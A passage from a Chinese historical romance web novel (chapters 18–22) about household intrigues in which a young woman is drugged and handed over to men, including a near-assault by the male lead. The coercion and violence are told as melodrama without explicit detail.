谢宴之别过脸去,从怀里掏出巾子,利落地用绑住了她的手。 等这个女人清醒了,再找她好好算一算! 原本谢宴之今日来赴宴,就是为了继续追查山匪的线索,他本来在园子的一角独自饮茶。看到有丫鬟在陆二爷耳朵边悄悄说了什么,陆二爷就神神秘秘地摸进了这个院子来。 谢宴之怀疑陆二爷是与山匪案的幕后之人接头,也跟着过来了,躲在这间屋子里,等待机会出去探查。 沈清念就在这时突然闯了进来。 谢宴之又想到了上次在靖南侯府里,沈清念那次衣衫不整以及今日的中药。 或许,真的是他弄错了? 这时,外面传来了谢敏的声音:“有个丫鬟说我那表妹就是往这个方向来了。” “还说……” “还说什么了?”又有一位女子问。 谢敏一副很难为情的样子:“说她是和陆二爷一起进的这个院子。” 众人顿时明白了,原来是来勾搭陆二爷来了。 又听谢敏道:“可我不相信清念表妹会那么做,我要亲眼看看。” “多谢你们陪我过来瞧瞧。” 谢敏也不清楚沈清念被带到哪个屋子了,但她肯定不是眼前这个屋子。 小小的一间,一看就是下人的屋子。 这时,前面的屋子传来一阵女人的啜泣声,还有男人的声音。 谢敏立马兴奋起来:沈清念,你马上就要当着众人的面丢丑了。 “快快快,我听着声音像清念表妹!”谢敏忙拉着众人过去。 到了门口,谢敏迫不及待地推开门:“清念妹妹……” 等看清里面的人,谢敏的眼睛睁开得大大的,地上跪着的哪是沈清念,而是别的女子,正敞开着衣裳抱着陆二爷的裤腿索求,脸上还有一条骇人的鞭痕,血淋淋的。 陆二爷气萍儿没有留住沈清念,拿了鞭子抽她,而萍儿自己也中了药,面对陆二爷的鞭子,不但不害怕,反而离陆二爷更近,想让他解了她的药。 进来的贵女们哪里见过这个场面,纷纷用帕子捂了眼睛跑了出去。 林氏与陆二爷原本的谋划是谢敏将沈清念带入广德侯府后,就设法把她一个人留在园子里,再让萍儿去将人骗进来。 可谢敏为了让沈清念丢脸,居然带了人过来抓奸,害陆二爷丢了脸面。 谢敏看了一眼陆二爷铁青的脸,一股不好的预感涌上心来,她慢慢向着门口的方向挪去,忽然感觉领子一下子就被一只大手抓住,眼前打开的门也砰的一声在她眼前合上了。 “二…二爷”谢敏吓得浑身都在抖。 陆二爷一把抓住谢敏,朝她狠狠扇了一个耳光,将谢敏扇倒在地上。谢敏的嘴角一下子渗出血来,她只觉得两只耳朵嗡嗡作响。脸上也疼得厉害。 又听见陆二爷的声音:“贱人!谁让你带人来的?” “你和林氏耍我是吧?” 上次林氏害他受伤,这次谢敏又害他丢了脸面。 谢敏捂着脸,拼命摇头,眼泪夺眶而出。 “那我也让你丢了脸吧。”说着陆二爷就朝谢敏压下去…… 他那一肚子火气正好无处发泄。 谢敏伸出手向萍儿求救,而萍儿此时已经清醒过来,吓得蜷缩在墙角,不敢动弹。 屋子里最终传来谢敏绝望的哭声:“二爷,我错了……” 此时,沈清念早已经在回靖南侯府的马车上了。 刚刚趁着众人都去了陆二爷那边,谢宴之抱着沈清念闪身离开了广德侯府。 她醒来的时候,谢宴之就坐在边上。 沈清念只记得中了药后,她栽进了一间屋子,恍惚间似乎听到谢宴之的声音。再看看自己全身衣裳完好,她想当时必是谢宴之救了自己。便对谢宴之点了一下头:“多谢世子相救。” 谢宴之冷哼一声:“停车?”,又转过头看向沈清念:“下去!” 听到这话,沈清念有一些懵,这人怎么又翻脸了? 她都忘了,谢宴之一向厌恶她,这次能救她,已经是万幸了。 他又怎么会容忍一个想勾搭他的女子与他同乘一辆马车。说不准刚她还晕着的时候,谢宴之就想把她扔下去了。 外面的元青得了吩咐,刚将马车缓缓停了下来,就见沈清念掀了帘子看了看,还好离靖南侯府只有一小段路了。 她对谢宴之福了福身,没有一丝犹豫,便转身下了车。 元青看着清姑娘被谢宴之赶下了车有些惊讶。毕竟爷当时把人抱在怀里出来的时候,可是一副护得紧的模样。 他只觉得清姑娘终于苦尽甘来了…… 现在好端端的又给人家姑娘赶下车去,爷这样做到底是为什么? 思索片刻后,他决定以后要当一个行尸走肉,再也不去猜主子的心思了,太难猜了。 为什么,或许连谢宴之也不知道为什么。想到屋子里发生的事,谢宴之一时竟有些道不明的情绪。 他原本该讨厌这个一心攀附高枝儿的女人的,却又感觉有些什么不受控制了。 可这个女人心里明明装着谢昭,现在却又亲了他。这叫什么? 水性杨花! 他竟然差点败给这样一个水性杨花的女人!赶她下车正好,省得留在那里碍他的眼。 第十八章 是不是与你行了苟且之事 过了一会儿,谢敏也坐着马车回了靖南侯府。 与去广德侯府的时候不同,现在的谢敏如同一个破碎的布娃娃。 林氏心疼地看着屋里裹着被子的谢敏,一边拿着帕子不停地抹眼泪。 谢敏的脸上满是淤青,那双眼睛红彤彤的,满是惊恐,警惕地望着外面。 林氏看了看,眼泪又掉了下来。她的女儿是遭受了怎么粗暴的对待! 她伸出手想要摸摸谢敏的头,谢敏像一只受惊的小兽,一下子往床角缩去,颤抖着:“别…别过来!” 林氏看着女儿这个样子,后悔不已。她想让谢敏嫁给陆世子,一是谢敏的确爱慕陆世子,二是她高嫁了以后,二房的境遇也会好很多。 而陆侯爷自夫人离世后,就遣散姬妾,一心求仙问道,云游四海,早不管广德侯府的事了。 广德侯府现在真正的主子就是那陆元章!或许是坏事做尽,陆元章虽有妻有妾,却没有一个子嗣。而陆世子陆执又陆元章一手带大的,二人亲如父子。他的婚事自然由陆元章做主。 林氏不得已只能求到陆元章点头。说好的是把沈清念送过去,双方各成好事,可现在呢…… 她可怜的敏儿啊! 他陆元章实在是欺人太甚!自己的女儿好歹也是靖南侯府二房的长女,他说欺负就给欺负了! 要在从前,谁敢欺负二爷谢松奕的女儿!他可是连陆老侯爷见着都要给几分薄面的!可如今谢松奕瘫了这么多年,不能言语也动不了,是彻底不管用了。 大爷性子弱,管不了这事儿。三爷根基不稳,也斗不过那陆元章。 要说如今这府里还有谁能替她的女儿讨回公道,那便只剩下谢宴之了。虽然这是二房的丑事,林氏不想让府上的人都知晓,但如今只有谢宴之能帮她了。 她一定要陆元章付出代价! 林氏亲自去问心堂求了老夫人。过了一会儿,老夫人便带着谢宴之一起过来二房的屋里了。 老夫人看到谢敏那副样子,顿时就红了眼眶。谢敏到底是她的孙女,遭此横祸,她不免心疼又有些气急! 老夫人重重地将拐杖一下一下地敲在地面上:“陆二那个狗贼!真是个天杀的畜生!” 又回过头看着谢宴之:“宴哥儿,这事不能就这么算了!那陆二是欺我靖南侯府无人呐!” 林氏也抽噎着:“宴哥儿,你可要帮你妹妹讨回公道啊!” 谢宴之冷着脸:“我定不会放过他!”毕竟谢敏是自己的妹妹。他也没有料到谢敏那时会出事。 听到谢宴之的声音,谢敏一下子从床上跑下来,拉着谢宴之的衣袖,眼泪簌簌的流:“大哥,昨日你为何不救我呀?你为什么去救沈清念那个贱人!” 谢敏已经知道昨日沈清念是被谢宴之带走了。她不懂大哥为何去救那个贱人也不救她这个妹妹! “为什么……”谢敏眼里露出绝望。 “都怪沈清念那个贱人,我都把她送到陆二爷手中了,她为什么不肯认命,非要逃!” “是她害我,是她害了我啊……” “大哥,你现在就去把她赶出侯府,卖到窑子里去!” “够了!”谢宴之一声喝止住她。 “到底是谁害的你,你心里不清楚?”谢宴之又看了一眼林氏,林氏心虚地低下了头。 “身为靖南侯府二房的长女,大将军的女儿,竟然使出这样腌臜的手段!你把自己当过侯府的姑娘吗!” 谢敏的泪又涌出来,内心一阵酸楚又愤恨,她想不明白,明明她才是那个受到伤害的人,为何大哥还将她训斥一顿! 她想到了什么,忽然开口:“昨日沈清念是不是与你行了苟且之事,所以你才偏心她,只救她!” “啪!”一记响亮的耳光把谢敏扇懵了。 她难以置信地看着母亲。林氏含着泪狠狠给了谢敏一耳光,她不能让谢敏再胡乱说话。 再惹怒了谢宴之,那谢敏就真的完了啊。 老夫人用探究的眼神看着谢宴之,想从他脸上看出些什么。可他始终冷着脸,看不出什么别的情绪。 这谢敏也太不懂事了,怎么能脱口就是那些个腌臜话,叫旁人听见了,岂不损了宴儿的清誉? 老夫人不悦地看着地上的谢敏:“侯府的世子与一个打秋风的女子行苟且之事,这是你一个世家小姐该说的吗?” “你是靖南侯府的姑娘,代表的是靖南侯府!” “这几日都不要出门了,在院子里好好养着身子!” 林氏明白,老夫人这是禁了敏儿的足。送走老夫人和谢宴之后,林氏进到屋子里,见谢敏还披散着头发,瘫坐在地上,嘴里絮絮叨叨念着:“为什么是我,明明她不逃,我就可以嫁给陆世子了。” “敏儿……”林氏抱着谢敏,母女二人哭作一团。 沈清念在浅月居休养了两天,姨母也偷偷告诉了她谢敏的事。沈清念也觉着唏嘘不已。但谢敏和林氏想要害她,也应该要付出些代价的。 菱儿进来,手里拿着一些做好的合香珠:“小姐,这些珠子都好了,我们可以串串儿了。”她觉得让小姐串串珠子分分神挺好的,免得小姐想到昨日的事情不开心。 沈清念看着这些珠子,微微出了神。 谢宴之的院子里,元青正在院里给四叶青浇水,忽然感觉后面有人伸手要拍他的背,他只当是谁要偷袭他,毫不犹豫地一把扯过来人的手臂,给人一记过肩摔。 “哎哟,死元青!”菱儿摔在地上大叫一声。 元青一看,眼睛都亮了:“菱角!”他赶紧笑着将人家扶起来。 “你怎么来了?”元青笑嘻嘻地看着菱儿。 “我陪我家小姐过来给大公子道谢的。” 元青往菱儿身后看去,沈清念就站在不远处看他们两个。 “清姑娘且在此等一下,我先进去通报。”说完元青就进了书房。 “她来做什么?”谢宴之拧着眉。 “说是为昨日的事给您道谢来了。” 第十九章 心底涌起一阵酸涩 “不见!”谢宴之就说了两个字。 没啦?元青有些怀疑自己的耳朵。不过转念一想,有什么好奇怪的,那日爷都把清姑娘赶下马车了。 元青出来后,摸着头,有些不好意思地将谢宴之的话重复了一遍。 对于谢宴之的态度,沈清念也不觉得意外,他原本就讨厌她。 “劳烦将这个给世子。”说着,沈清念递过去一个木盒。 菱儿不解地问:“姑娘,这个大公子连见都不见你。这盒子他会收吗?” 她沈清念向来恩怨分明。谢宴之救了她,即便他厌恶她,她还是要谢谢他的。虽然她也不喜他。 元青点点头,双手接过木盒。元青有些纳闷,多么温柔有礼的清姑娘啊。 可惜,爷好像还是不喜清姑娘。 元青进了书房,将木盒放在书案上,便准备退出去。 谢宴之看着桌上的木盒,冷哼一声:“拿出去丢掉!” 又是这些伎俩,有关她的东西,他都不要。 元青抿了抿唇,那木盒看着不贵重,却很精致。爷都不打开看看,就要丢掉,真是可惜。 元青想着,反正爷都要丢掉这个木盒了,还不知道这里是什么东西呢。要不他先打开看看? 于是他拿起盒子,悄悄打开看了一眼,里面是一串珠子,正散发着好闻的沉水香味。 元青又偷瞄了谢宴之两眼,故意放慢了脚步。 心里想着:菱角,我只能帮你家姑娘到这个份上了。 “东西留下!”谢宴之冷冷的声音传来。 元青一听,偷偷咧开嘴笑了,他转过身马上又做出一本正经的模样:“是,爷。”转身放下东西就出去了。 这回菱角可得记我一功! 谢宴之打开木盒,拿起那串香珠。味道的确好闻,虽与那日她身上的味道不同,却也十分适合他。 谢宴之又想起了那日,他揽上她的腰肢,亲上她的唇,他怀里抱着的那柔软的触感…… “啪!”谢宴之又把东西放了回去,盖上盖子,放到了书架最上层,不仔细看,根本不会发现那里有东西。 他决不允许自己被那个沈清念蛊惑。 而靖南侯府上下,按照老夫人的意思,没人再提过广德侯府那件事,那日知情的马夫和婆子,都已经被发卖处置了。 众人只知,雪日宴那天陆二爷跑到爱妾的院子胡闹了一番。 很快到了老夫人的生辰,靖南侯府阖府上下都挂了写着“寿”字的灯笼,显得喜气洋洋的。 谢昭也回来了,他在雪日宴的头天离了京城办差,回来时给各房都带了东西,众人都十分开心。而谢敏除外,后来谢昭才得知林氏带着谢敏去了庄子上养身子。 晚上,老夫人还命人在水榭这边放烟花。在烟火的映照下,谢昭看着沈清念温柔的眉眼,有一种岁月静好的感觉。 “清妹妹。”谢昭喊了一声。 “嗯。”沈清念侧过头看谢昭。只见谢昭从袖袋里掏出一个小布包递了过来。 “表哥,这是……?”沈清念犹豫着接不接。万一是什么贵重的东西,接了便不好了。 谢昭看出沈清念的顾虑,笑了笑:“清妹妹,这不是什么值钱的物件儿,大可拿着。” 谢昭说着,边将布包塞到沈清念的手上。沈清念接过来打开一看,是一只小小的搪瓷狗,脸蛋胖乎乎的,两只眼睛像葡萄般亮亮的,伸着舌头,很是讨喜。 “姑娘,好可爱的小狗啊。”菱儿在一旁说道。 沈清念也很喜欢,拿在手上拨弄,颇有些爱不释手的意味。 谢昭见沈清念喜欢,心里很是高兴:“办差事的时候,在铺子里看到了,想着清妹妹你也许会喜欢,便买了。” 听到谢昭这样说,沈清念只觉得手上的东西有千斤重。谢昭的心意她都知晓,但她不能接受。 沈清念将搪瓷狗又递了过去,谢昭急了:“清妹妹,这就是表哥给妹妹的小物件儿而已。” “那多谢表哥了。”沈清念终于没有再推拒。 谢昭只觉喉头发堵,心底涌起一阵酸涩。原来,清妹妹是明白他的心意的…… “对了,上次说好的合香珠,我已经做好了。”沈清念说着,递给谢昭一个木盒子。 闻言,谢昭心底的苦涩一下子就消散了,满心欢喜地打开盒子,见里面是一串合香珠手串,散发着淡淡的松香味,珠子看着就不普通。 “谢谢清妹妹。”谢昭要将盒子放进袖袋。沈清念拦住了他:“表哥,你戴上试试,看看大小合不合适。” 谢昭笑着点点头,把手串戴在手上,不大不小,刚刚好。 沈清念又道:“表哥,这香珠不要收到盒子里了,随身佩戴,药性才能发挥出来。” 谢昭含情看着沈清念:“嗯。” 清妹妹叫他戴着,他一定戴着。 沈清念避开了谢昭炙热的眼神,侧着脸继续看烟花。谢昭时不时地低头看手上的香珠串,脸上全是满足的神色。 谢昭想了想,清妹妹与他相识的日子尚短,他这样是有些唐突了。往后,他要小心一些,不能随意流露自己的情意,以免惊扰到他的清妹妹。 “清妹妹,明日我又要离京一趟,或许要一两月才能回。你…你在府里要保重。” 沈清念笑着应了一句:“嗯,表哥路上小心,一路平安。” 谢宴之在对面的亭子里,摸着茶杯,不知道在想什么。 元青可是看得清楚,清姑娘刚刚递给了四公子一个木盒子,跟给爷的那个盒子长得一模一样。 她还将四公子送的小物件儿拿在手里,满脸欢喜的样子,怎么看这都是一对儿有情人。 难道清姑娘真的一边哄着爷,一边又念着四公子? 而爷早就发现了清姑娘的心思,才会让他把那木盒子拿去丢掉? 欣赏完烟火后,谢宴之黑沉着脸回了书房,取下木盒子丢给元青:“烧了!” 不远处,苏姨娘看着烟花下的沈清念和谢昭如一对壁人,心里一时有些复杂。 又看到对面的谢宴之面容不悦地离开了亭子,手不由地握紧了帕子。她当即在心下做了决定,不能再拖了,只能用那个法子了。 第二十章 气血翻涌 第二日,苏姨娘送了谢昭上马车后,秋叶回来回话,说沈清念来院子里找她了。 苏姨娘听罢赶紧往回走。 见到沈清念,苏姨娘看着她道:“念儿,快随我进屋坐。” 进入屋子里后,沈清念看着苏姨娘先开了口:“姨母,我今日来,是想说说我的亲事。” 苏姨娘神色一顿,微微坐直了身子看着沈清念:“哦,念儿有心上人了?” 沈清念摇头:“没有,我想姨母替我寻一门简单的亲事,寻常寒门男子便好了。” 听到不是谢昭,苏姨娘松了一口气,又皱了皱眉:“寒门学子?会不会太委屈念儿了?” 沈清念又摇了摇头:“不委屈,我不过一介商户之女,有些门第的,都不会要我做正妻。” “寒门学子,懂些诗书礼节,与我心意相通容易些。" “”以后我再攒了银子开一间小铺子,也可以将日子过得很好。” 最重要的是,一般的寒门子弟,即便考取了功名,没有家族荫庇,多数都会被派到外地为官。 到时,她再把母亲接过去,让人再也找不着她们。 苏姨娘略微有些担忧:“念儿真这么想?” 沈清念点了点头:“嗯,我不要聘礼,也没有嫁妆,只要那人人品端庄些,念儿便可以嫁。” ”但念儿在这京城除了姨母,找不到别的人可以帮我了,所以想托姨母帮我寻一门亲事。 苏姨娘有些怜爱地看着沈清念叹息:“念儿竟想得如此通透,那我今日就让人去寻,有消息了就让人告诉你。” 沈清念乖巧地点点头:“嗯,多谢姨母。” 二人又闲聊了一会儿,沈清念便回了浅月居。沈清念走了以后,苏姨娘叫来了秋叶:“秋叶,去为我办一件事。” 秋叶点点头,带着帷帽出了门。 三日傍晚时分,苏姨娘带着沈清念去了一间茶楼。 苏姨娘递给沈清念一杯茶:“念儿,这位李公子是武陵人士,考了秀才有三年了,因家境贫寒,家中还有一生病的老母,一直没有娶到妻。” “但寻人的媒婆说那李公子倒是生得一表人才,人也是谦逊有礼的。”沈清念听来觉得不错,虽说家境比她想的要差一些。 沈清念又问道:“那他现在在京城做什么?” 苏姨娘笑道:“他如今一边帮人看书斋,一边准备三月后的春闱。但他要是春闱中了举,你也就是举人夫人了。” “现在书斋关了门,他在来的路上了。”苏姨娘又补了一句。 沈清念点点头:“嗯。” 她想着先见了人再说。还不知道那李公子人品如何,学识怎样,对自己是否有那份心思。 苏姨娘望向窗外,似在寻着那李公子的身影。 茶楼对面就是醉风楼,是这京城的三大勾栏院之一。 醉风楼里布置气派,绮罗轻舞,香风拂面,一片花红柳绿,纸醉金迷。 谢宴之坐在一群人中,跟这些人推杯换盏。 边上有几个用薄纱蒙面的姑娘在弹琵琶助兴。 他两月前得到线索,这醉风楼的头牌似乎有些不同寻常,与广德侯府的人私下来往密切。 但这头牌很警觉,不接生客,于是谢宴之带了下属伪装成寻常客人,几次三番来这里消遣,想找机会看看这头牌到底有何秘密。 喝了一小会儿酒,一名下属佯装无聊,叫来了老鸨:“红姑,还是找几个姑娘陪陪爷几个呀,只喝酒没意思。” 老鸨会心一笑,叫来了几个姑娘:“姑娘们,替我照顾好几位爷。” “绿珠,好好伺候这位爷。”叫绿珠的女子笑盈盈地朝谢宴之走去,却被谢宴之一个凌厉的眼神吓得不敢靠近。 随即,谢宴之丢给老鸨一锭金元宝:“就没有别的了?” 老鸨看着谢宴之气度不凡,又见他出手阔绰,满脸堆笑道:“恐怕只有我们这里的头牌银霜姑娘能配得上公子了。” 谢宴之暗道:今日总算能成事了。 “哦?”谢宴之拿起酒杯,摇了摇,一饮而尽后,对着老鸨道:“带路!” 老鸨笑盈盈地在前面带路:“公子请。”说着将谢宴之带到一间屋子面前。 “这便是银霜姑娘的房间。”老鸨指着面前的屋子说道。 又朝里面喊:“银霜,好生伺候公子!” “公子请吧!”说着,她笑着地替谢宴之关上了门。 屋子里点了一根红烛,谢宴之往里走去,中间的雕花大床上纱帐轻垂,隐约可见里面躺着一个美人,半露着香肩,盖着锦被。 他走进撩起帐子,心里顿时泛起惊涛骇浪! 沈清念! 此刻,银霜披着披风在外面与苏姨娘碰了面,银霜福了福身子:“事已办妥,今日之后,你我再不相欠。” 苏姨娘看着银霜点点头:“姑娘保重。” 当年银霜差点病死在街头,苏姨娘为她请大夫治了病,给了钱让她归乡去,谁想一年后,银霜竟成为了醉风楼的头牌。 听到有人在喊她的名字,沈清念的头昏昏沉沉的,想睁开眼。 她记得自己跟姨母在茶楼等李公子,然后她好像趴在桌上睡着了。 眼睛闭上之前,沈清念好像听到苏姨娘在说:“念儿,不要怪姨母。” “什么意思?”沈清念艰难地睁开眼睛,就看见谢宴之正立在床头看着她。 脸上没有一丝表情,目光盯得她浑身发寒。 而她也很快发现了自己的异样。她好像动不了,连声音也发不出。 最要紧的是,她似乎只穿着肚兜。 谢宴之眯着眼:“沈清念,你这是什么意思?” 只见沈清念躺在那里,脸颊潮红,鬓发微乱,如一朵带露的海棠,动人心魄。 她那一双湿漉漉的眼睛望着他,漫着幽幽香气,让人心神一晃。 谢宴之看着沈清念这副满脸春色的模样,喉结不自觉滚动,紧捏着手,青筋迸起,脸上也是嘲讽的冷笑:“昨日还在和谢昭卿卿我我,现在又想爬本世子的床了?” 他说着俯下身去,温热的气息,扑在沈清念的脸上。 那双眼睛却是毫不避讳地落在沈清念白皙皮肤上。 沈清念身上发软,知道自己中了药,连开口的力气都没有。 她紧紧闭着眼睛,身上难受得发颤。 谢宴之却捏着她的下巴,语气危险:“沈清念,说话!” 沈清念眯着眼睛,小巧的红唇微张,乌发散开,眼前朦朦胧胧,她吃力地伸手又垂下,只叹息出一声细细呻吟。 这副模样仙姿玉色,即便见惯了美人的谢宴之也浑身发紧,情不自禁地压下腰去靠近她。 面前的人穿着水粉色的荷花肚兜,胸前的丰满若隐若现,那腰肢竟和他梦中的一样纤细…… 捏着她小巧下巴的大手一抖,他声音已变得沙哑:“你就这么想勾引我?” 如你所愿便是。 他闭上眼睛,第一次在女子面前压制不了冲动,俯身压了上去…… 第二十一章 我这根高枝儿给你攀好不好 沈清念感觉到身上压下来一座大山一样,来不及反应,谢宴之炙热的吻便重重落在她的唇瓣儿上,双手也被他紧紧锁住。 像要溺水了一样,沈清念只觉得吸不上气。 察觉到身下的人就要晕过去,谢宴之才放过她的唇。 铺天盖地的吻又转到她的面颊上,吻至眼角,谢宴之感受到一点微微的湿润,他抬起头,见一滴泪从沈清念的眼角滑落下来。 女人的脸因为他的亲吻而变得潮红,但眼角的泪又似乎在诉说着一丝绝望。 沈清念察觉谢宴之停下了动作,便睁开了眼睛看他。只见谢宴之的额头溢出了汗,正喘着粗气,看着她。 谢宴之看着沈清念的脸,眼眶红红的,还透着委屈。他将头埋进了沈清念的脖颈,长吁一口气:“怎么,还委屈上了?” 此时,沈清念感觉到自己能动了。她的手挣扎了一下,又被谢宴之狠狠地锁住。 谢宴之正竭力控制着他汹涌澎湃的欲望,只要沈清念说不委屈,他就迫不及待地想要…… “你放开!”沈清念扭动了一下身子。谢宴之的手绕过腰肢来到她背后,轻轻一扯,肚兜的细细的带儿就散开了。 “不要!”沈清念整个身子都颤抖起来。谢宴之压抑的声音传来:“是因为谢昭?” “不要他,我这根高枝儿给你攀好不好?”似哄着沈清念般,谢宴之的吻又从白皙的脖颈一路向下,手也抚上那片丰盈。 “我不愿意!请世子莫要强求!”沈清念用手推了推谢宴之,他却屹然不动。她是真的害怕了,侧着脸小声地啜泣。 “不后悔?”谢宴之看着女人的脸,想从她脸上看出一丝悔意。 “不后悔!”沈清念咬着唇,一脸的决绝。 “好!别后悔!”谢宴之顿了顿,似用了很大的力气般,才起了身。 身上的压迫消失,沈清念赶紧坐起来,用锦被死死地裹住自己,盯着谢宴之:“多谢世子,只是我从不愿攀高枝儿,更不敢觊觎世子。” 谢宴之懂了,她对他根本没有那个意思,是他自作多情了。 “那你只想要谢昭?”谢宴之只觉得他心中有一股无名的火气。随即冷笑一声:“他也不是你这个身份能觊觎的!” 沈清念虽然不太明白谢宴之为何总是提起表哥,但她还是神色淡淡:“我与表哥如何,与世子无关!” 果然还是喜欢谢昭! 谢宴之眯着眼:“穿上衣服,滚!” 沈清念低头看了看自己,咬着下唇,脖颈到耳际漫开一片红晕:“世子请转过身去。” 谢宴之才想起她身上现在不着寸缕。 看着眼前的少女满脸的娇羞,谢宴之拿起桌上的茶壶,猛灌了下去…… 一刻钟后,外面的属下们看到谢宴之一副欲求不满的样子,身后还跟着一位姑娘。 那姑娘头上戴着帷帽看不清容貌,但身姿婀娜,一看就是个美人儿。 属下们暗道这银霜姑娘真有些手段,能让世子给带回侯府去。 到底是醉风楼这种鱼龙混杂的地方,谢宴之想了想,还是让人驾马车送沈清念回府。 谢宴之端坐在马车上,闭着眼养神。沈清念坐在他对面,低着头。刚刚经历了一些事,沈清念觉着车里的氛围有些怪异。她只能低着头,不去看谢宴之。 马车很快到了靖南侯府,沈清念对谢宴之道了谢:“多谢世子!”转身就要下车。 谢宴之一把抓住她的手,将人扯到了怀里:“离谢昭远点儿!” 沈清念用力挣脱谢宴之的怀抱,转身看着谢宴之:“世子放心,我只将表哥当做亲人。” 谢宴之不知为何,紧锁的眉头一下就舒展了。 又听见沈清念婉转的声音:“世子若不放心,大可给我寻一门亲事,好让我早日离了侯府。” 等谢宴之回过神来,只看见沈清念的一片衣角消失在车帘处…… 沈清念回到浅月居好好沐浴了一番,她只想将那个人的味道洗掉。 菱儿看着姑娘的身上有一些发红,有些奇怪:“小姐,你身上这是怎么了,红红的。” 沈清念愣了愣,对着菱儿道:“无事,最近有些干燥,一撮就红了。” 秋叶提着灯笼,陪着苏姨娘过来浅月居看沈清念。 沈清念沐浴好后,换了一身白色的亵衣,一头乌黑的长发随意地散开,透着别样的诱惑。 苏姨娘上下打量着沈清念,想要看看她是否已经有所不同。 很快,苏姨娘就看见沈清念的嘴唇有些肿,脖子上也有一些红色的痕迹。 明眼人一看就知那是什么。 苏姨娘心中暗喜,到底是成事儿了。 “念儿,你和世子……” 沈清念发觉苏姨娘在看她的脖子,她紧了紧领子,将那一片红遮了起来。 “姨母,当真有李公子这个人吗?”沈清念打断了苏姨娘,直直地看着她。 苏姨娘眼神有些躲闪:“念儿,事已至此,你何必再问。” 沈清念知道了,根本就没有李公子这个人。一切不过是姨母编造的谎话,就为了将她骗出去,送给谢宴之。 沈清念坐在榻上,递给苏姨娘一杯茶:“姨母,我想知道为什么?” 沈清念想不明白,苏姨娘是自己的亲姨母,为何会对她做出这种事。 苏姨娘放下茶杯,用帕子擦了擦嘴角:“因为昭哥儿喜欢你,但他的婚事他做不得主!” “昭哥儿是侯府的庶子,将来想要求得一份好前程,必须寻一户高门贵女。” “念儿,你不要怪姨母,这全是我的一片爱子之心啊。” 苏姨娘说着用帕子抹了抹眼泪。 沈清念仍是有些疑惑:“可我不是说过要寻一寒门子弟了吗?你为何还要将我送给谢宴之?” 她能体谅她的爱子之心,但她都已经说了要嫁别人了,姨母为何还要这般。 “念儿!你这般美貌,普通人家怎么护得住你!你若真嫁去了那种人家,将来免不得还会遇到像陆二爷那样的,到那时你怎么办?” 苏姨娘说着握住了沈清念的手,神情里满是关心。 “况且,从大公子回来那天起,我就发现他对你似乎有所不同。我想他应是有些喜欢你的。” 第二十二章 脖子上的这些是被世子掐的 “所以姨母将我送给谢宴之,也是为了讨好他,给表哥铺路是吗?” “姨母可知今日我有多屈辱!清白对于一个女子有多重要,姨母应该知道吧。” “姨母知我不愿,还要强求,就不怕我自戕了吗?”沈清念说着,泪眼盈盈。 “念儿!是姨母对不住你!”苏姨娘站起来,紧紧地抱住沈清念。 “我今日已让世子为我寻一门亲事,好让我早日离府。” “那你和世子……你们?” “脖子上的这些是被世子掐的,因为他十分厌恶我。” “嘴巴是自己咬的,姨母,我当时太害怕了。”沈清念故作委屈道。 竟是这样吗?苏姨娘看着那些,心里更添愧疚。二人将话说开以后,夜深了,沈清念要睡了,苏姨娘便带着秋叶走了。 途经一处长廊,苏姨娘见谢宴之立在前面,一身玄色窄袖锦袍,腰间是朱红白玉腰带,挂着白玉玲珑的玉佩,气质非凡。 她心里仍然认为沈清念与谢宴之二人是极为般配的,二人看着如同神仙眷侣。 苏姨娘款款向前,福了福身:“大公子。” 谢宴之面容冷峻:“谢昭是我的弟弟,我自会照拂,好自为之!” 他不喜这些内宅手段,换了旁人敢这样算计他,此刻已是死得透透的了。 但苏姨娘是二叔谢松奕珍爱之人,他敬重二叔,便不会动苏姨娘。 苏姨娘低着头,悻悻道:“多谢大公子。”谢宴之拂袖而去。 再抬头,苏姨娘满眼含泪,喃喃道:“二爷,你放心,我们的昭儿以后定会前程似锦。” 恍惚间,她似乎看到那时的他桀骜地跨坐在马上,收拢了扇子,黑如墨的眸子深深地凝望着她:“姑娘,愿不愿跟着我?” 只要她安安分分的,谢宴之便会相助他们的昭儿,这样就够了。 “小姐,早些休息吧。”菱儿说着,替沈清念放下了帐子。 这一日的遭遇,早已让沈清念觉着身子乏得很,躺在床上,没一会儿就睡着了。 一个修长高大的身影出现在屋子里,一步步朝床走去。 谢宴之掀起纱帐,帐中的人儿白皙的面容一片恬静,长眸安静地闭着,呼吸清浅,睡得香甜。 谢宴之的喉咙滚了滚,伸手抚上那莹润饱满的唇,身下涌起一股躁动。 睡梦中的人儿似感受到一丝异样,轻轻皱了皱眉,并没有醒来。 谢宴之替那梦中的人儿紧了紧被子,放下纱帐,从窗户一跃而出。 谢宴之回了自己的院子,吩咐元青备了冷水。 他慵慵懒懒地泡在浴桶里,又想起了沈清念下马车前的那句:世子可替我寻一门亲事,好让我早日离府。 谢宴之扶着额头,忽然冷笑一声。她倒是会打算,让他给她寻一门亲事,真是好得很! 那就让她看看这世间有几个男子能如他这般好。 看她悔不悔! 不久之后,屋子里响起水花四溅的声音…… 第二日,菱儿晨起时,只觉得脖子后面隐隐有些疼,她也没太在意,跟着沈清念去老夫人处问安。 进了问心堂,沈清念发现谢宴之也在。 四目相对,谢宴之看到沈清念那还有些肿的唇,先挪开了视线。 顾灵玉也瞥见了沈清念的嘴唇,不禁撇了撇嘴,心里轻蔑道:下贱蹄子,也不知勾引着谁了。 沈清念倒是毫不在意,反正她已经想好了说辞。向老夫人问了安后,便规规矩矩地坐在一边。 老夫人端坐在罗汉榻上,指尖摩挲着沈清念做的那条珠串儿。 笑盈盈地看着顾灵玉和沈清念:“昨儿宴哥儿进宫得了些物件儿,其中有两支珠花。今儿碰巧你们两个有心的丫头来了,便赏了你们去吧。” 刘麽麽端着一个木盘上来,里面的两支蝴蝶珠花,十分精致。 顾灵玉抢先拿了一支蓝色的,满心欢喜道:“多谢老夫人,多谢表哥。” 沈清念拿了剩下的那只绿色,双手轻轻搭在腰间,微微屈膝,身体前倾:“谢老夫人,谢世子。” 老夫人眸子里露出些赞许,余光瞥了瞥谢宴之,见他神情淡淡的。 老夫人对沈清念摆摆手:“清丫头,你也跟着玉丫头,唤宴哥儿表哥吧。” 沈清念乖巧地点点头:“是,老夫人。” 转头,又对着谢宴之道:“多谢表哥。”这轻轻的一声,使得谢宴之心神一荡。 他还是淡淡道:“表妹客气了。” 老夫人看着三人兄友妹恭的样子,欣慰地点点头。 只见她喝了一口茶,缓缓放下茶杯道:“看你二人这般敬重宴哥儿,将来宴哥儿迎娶了新妇进门,你们对新妇也要如此。” 